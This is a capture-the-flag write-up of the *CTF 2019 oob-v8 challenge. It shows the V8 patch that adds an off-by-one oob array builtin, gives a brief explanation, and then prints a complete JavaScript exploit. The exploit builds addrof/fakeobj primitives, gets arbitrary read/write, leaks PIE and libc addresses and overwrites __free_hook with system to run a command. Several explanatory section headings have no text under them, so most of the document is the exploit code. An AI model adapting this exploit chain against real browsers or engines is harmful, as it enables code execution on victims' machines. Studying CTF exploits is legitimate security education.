oob-v8 - *CTF 2019
oob-v8 is a browser exploitation challenge from *CTF 2019 featuring the V8 JavaScript engine.
Summary
The oob-v8 challenge from *CTF 2019 introduces a built-in function called oob
for Array
objects.
Finding the Vulnerability in the Source Code Patch
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
The oob
function is used to read a value at an index or write a value at an index if an additional value argument is passed. The vulnerability originates from an off-by-one error. Accessing the length
of an Array
results in an out-of-bounds access as indices start from 0 in JavaScript, which means that the greatest valid index of the Array
object is length-1
.
Having the capability to write one index past the end of the array may seem inconsequential. However, this vulnerability alone can be used to create more powerful primitives which can be combined to gain arbitrary read and write capabilities.
Crafting the addrof
and fakeobj
Primitives
Gaining Arbitrary Read and Write Capabilities
Exploit Technique 1 - Overwriting __free_hook
with system
Exploit Technique 2 - Use WebAssembly to Create an RWX Page
Exploit
var buf = new ArrayBuffer(8);
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) {
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);
}
function itof(val) {
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
var obj = {"A": 1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();
console.log("[+] Float array map: 0x" + ftoi(float_arr_map).toString(16));
console.log("[+] Object array map: 0x" + ftoi(obj_arr_map).toString(16));
function addrof(in_obj) {
obj_arr[0] = in_obj;
obj_arr.oob(float_arr_map);
let addr = obj_arr[0];
obj_arr.oob(obj_arr_map);
return ftoi(addr);
}
function fakeobj(addr) {
float_arr[0] = itof(addr);
float_arr.oob(obj_arr_map);
let fake = float_arr[0];
float_arr.oob(float_arr_map);
return fake;
}
var arb_rw_arr = [float_arr_map, itof(0x0000000200000000n), 1, 0xffffffff];
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
if (addr % 2n == 0) {
addr += 1n;
}
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
return ftoi(fake[0]);
}
function initial_arb_write(addr, val) {
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
dataview.setBigUint64(0, BigInt(val), true);
}
var test = new Array([1.1, 1.2, 1.3, 1.4]);
var test_addr = addrof(test);
var map_ptr = arb_read(test_addr - 1n);
var map_sec_base = map_ptr - 0x2f79n;
var heap_ptr = arb_read(map_sec_base + 0x18n);
var pie_leak = arb_read(heap_ptr);
var pie_base = pie_leak - 0xd87ea8n;
console.log("[+] test array: 0x" + test_addr.toString(16));
console.log("[+] test array map: 0x" + map_ptr.toString(16));
console.log("[+] map section base: 0x" + map_sec_base.toString(16));
console.log("[+] heap leak: 0x" + heap_ptr.toString(16));
console.log("[+] pie leak: 0x" + pie_leak.toString(16));
console.log("[+] pie base: 0x" + pie_base.toString(16));
puts_offset = 0x5555562ef3c8n - 0x555555555000n;
puts_got = pie_base + puts_offset;
console.log("[+] puts got: 0x" + puts_got.toString(16));
libc_base = arb_read(puts_got) - 0x735f0n;
free_hook = libc_base + 0x1d2190n;
system = libc_base + 0x45e50n;
console.log("[+] libc base: 0x" + libc_base.toString(16));
console.log("[+] __free_hook: 0x" + free_hook.toString(16));
console.log("[+] system: 0x" + system.toString(16));
console.log("[+] Overwriting __free_hook to &system");
arb_write(free_hook, system);
console.log("xcalc");